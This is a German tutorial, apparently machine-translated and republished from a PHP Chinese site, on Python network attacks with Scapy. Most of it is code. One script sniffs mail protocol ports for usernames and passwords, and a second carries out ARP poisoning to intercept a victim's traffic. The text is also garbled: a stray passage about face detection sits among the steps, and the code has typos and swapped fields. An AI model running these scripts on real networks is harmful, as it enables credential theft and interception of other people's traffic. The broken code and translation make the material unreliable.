Erste Schritte mit Python-Penetrationstests: Verwendung der Scapy-Bibliothek

Scapy ist ein Python-Modul und ein interaktives Programm zum Parsen zugrunde liegender Netzwerkdatenpakete. Dieses Programm bündelt die zugrunde liegende Paketverarbeitung abstrakt und macht die Verarbeitung von Netzwerkdatenpaketen sehr einfach. Diese Klassenbibliothek kann ein sehr breites Spektrum an Anwendungsfällen im Bereich der Netzwerksicherheit haben und kann für die Entwicklung von Schwachstellenausnutzung, Datenlecks, Netzwerküberwachung, Einbruchserkennung sowie Verkehrsanalyse und -erfassung verwendet werden. Scapy ist in die Datenvisualisierung und Berichtserstellung integriert, um Ergebnisse und Daten einfach anzuzeigen.

E-Mail-Identitätsanmeldeinformationen stehlen

Scapy bietet eine Schnittstellenfunktion mit einem prägnanten Namen. Die Definition lautet wie folgt:

sniff(filter = " ", iface = "any", prn = function, count = N)

Mit dem Filterparameter können Sie einen Berkeley-Paketfilter (Berkeley Packet Filter, BPF) mit To-Filter angeben Um die von Scapy beschnüffelten Pakete zu überprüfen, können Sie diesen Parameter auch leer lassen, um anzugeben, dass alle Pakete beschnüffelt werden sollen. Der Parameter

iface wird verwendet, um die Netzwerkkarte anzugeben, die vom Sniffer überwacht werden soll. Wenn er nicht festgelegt ist, werden standardmäßig alle Netzwerkkarten überwacht. Der Parameter prn wird verwendet, um eine Rückruffunktion anzugeben, wenn ein Paket gefunden wird, das die Filterbedingungen erfüllt. Dies ist der einzige Parameter, der von der Funktion akzeptiert wird. Mit dem count-Parameter können Sie angeben, wie viele Pakete Sie schnüffeln möchten. Wenn Sie das Feld leer lassen, wird Scapy weiterhin schnüffeln.

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()

In diesem einfachen Sniffer werden nur Befehle im Zusammenhang mit dem Mailbox-Protokoll abgehört.

Als nächstes werden wir Filter und Callback-Funktionscodes hinzufügen, um Daten im Zusammenhang mit der E-Mail-Kontoauthentifizierung gezielt zu erfassen.

Zunächst richten wir einen Paketfilter ein, um sicherzustellen, dass der Sniffer nur die Pakete anzeigt, die uns interessieren. Wir werden die BPF-Syntax (auch als Wireshark-Stil-Syntax bekannt) verwenden, um Filter zu schreiben. Sie können diese Syntax in Tools wie tcpdump und Wireshark verwenden. Lassen Sie uns zunächst über die grundlegende BPF-Syntax sprechen. In der BPF-Syntax können drei Arten von Informationen verwendet werden: Deskriptoren (z. B. eine bestimmte Hostadresse, Netzwerkkartenname oder Portnummer), Datenflussrichtung und Kommunikationsprotokoll, wie in der Abbildung dargestellt. Es steht Ihnen frei, je nach den gesuchten Daten bestimmte Typen, Anweisungen oder Protokolle hinzuzufügen oder wegzulassen.

Wir schreiben zuerst einen BPF:

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#监听邮件协议常用端口
#新参数store，把它设为0以后，Scapy就不会将任何数据包保留在内存里

if __name__ == '__main__':
    main()

ARP-Poisoning-Angriff

Logik: Täusche das Zielgerät vor, wir seien sein Gateway; täusche dann das Gateway und teile ihm mit, dass der gesamte Datenverkehr an das Zielgerät gesendet werden soll Die Weiterleitung muss uns überlassen werden. Jedes Gerät im Netzwerk verwaltet einen ARP-Cache, der die Korrespondenz zwischen MAC-Adressen und IP-Adressen im lokalen Netzwerk im letzten Zeitraum aufzeichnet. Um diesen Angriff umzusetzen, werden wir diese ARP-Caches vergiften, d. h. unsere erfundenen Datensätze in den Cache einfügen.

Beachten Sie, dass der Zielcomputer des Experiments Mac ist wird verwendet, um zu bestätigen, ob sich darin ein Gesicht befindet. Für jedes Bild, das ein Gesicht enthält, zeichnen wir einen Rahmen um das Gesicht und speichern es als neues Bild.

detector.py:

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

Das obige ist der detaillierte Inhalt vonErste Schritte mit Python-Penetrationstests: Verwendung der Scapy-Bibliothek. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!